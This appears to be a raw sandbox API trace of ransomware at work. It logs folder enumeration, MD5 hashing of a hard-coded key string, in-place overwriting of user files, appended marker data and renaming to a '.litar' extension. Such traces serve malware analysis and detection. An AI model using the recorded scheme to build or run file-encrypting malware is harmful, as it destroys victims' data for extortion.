RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.677] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.677] PathFindFileNameW (pszPath="") returned="" [0126.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.678] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0126.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.678] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.678] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0126.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.680] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=29926) returned 1 [0126.680] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.681] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.682] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.683] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.683] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0126.684] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.684] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.684] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.684] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.684] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.685] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.685] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.685] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.685] GetLastError () returned 0x0 [0126.685] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.685] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x74f0) returned 0x30fa0b0 [0126.685] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.685] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x74e1, lpOverlapped=0x0) returned 1 [0126.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.685] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.686] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.686] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.686] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.686] CloseHandle (hObject=0x624) returned 1 [0126.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.687] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.litar")) returned 1 [0126.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.688] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.688] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0126.689] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.689] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.689] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\") returned="oJv-O\\" [0126.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\") returned="tvalSG6kWCd\\" [0126.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.691] PathFindFileNameW (pszPath="") returned="" [0126.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.692] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.692] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa302e1f0, ftCreationTime.dwHighDateTime=0x1d4d51d, ftLastAccessTime.dwLowDateTime=0x53f1edb0, ftLastAccessTime.dwHighDateTime=0x1d4c634, ftLastWriteTime.dwLowDateTime=0x53f1edb0, ftLastWriteTime.dwHighDateTime=0x1d4c634, nFileSizeHigh=0x0, nFileSizeLow=0x127a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-RJ_rXnG1_.m4a", cAlternateFileName="-RJ_RX~1.M4A")) returned 1 [0126.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\-RJ_rXnG1_.m4a") returned=".m4a" [0126.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\oJv-O\\-RJ_rXnG1_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ojv-o\\-rj_rxng1_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.692] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=75683) returned 1 [0126.692] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.694] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1277d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.694] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.696] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x127a3, lpOverlapped=0x0) returned 1 [0126.697] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.697] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.697] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.697] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.697] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.697] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.697] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.698] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.698] GetLastError () returned 0x0 [0126.698] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.698] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.698] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x127a0) returned 0x30fa0b0 [0126.698] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.698] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.698] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1279e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1279e, lpOverlapped=0x0) returned 1 [0126.698] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.698] 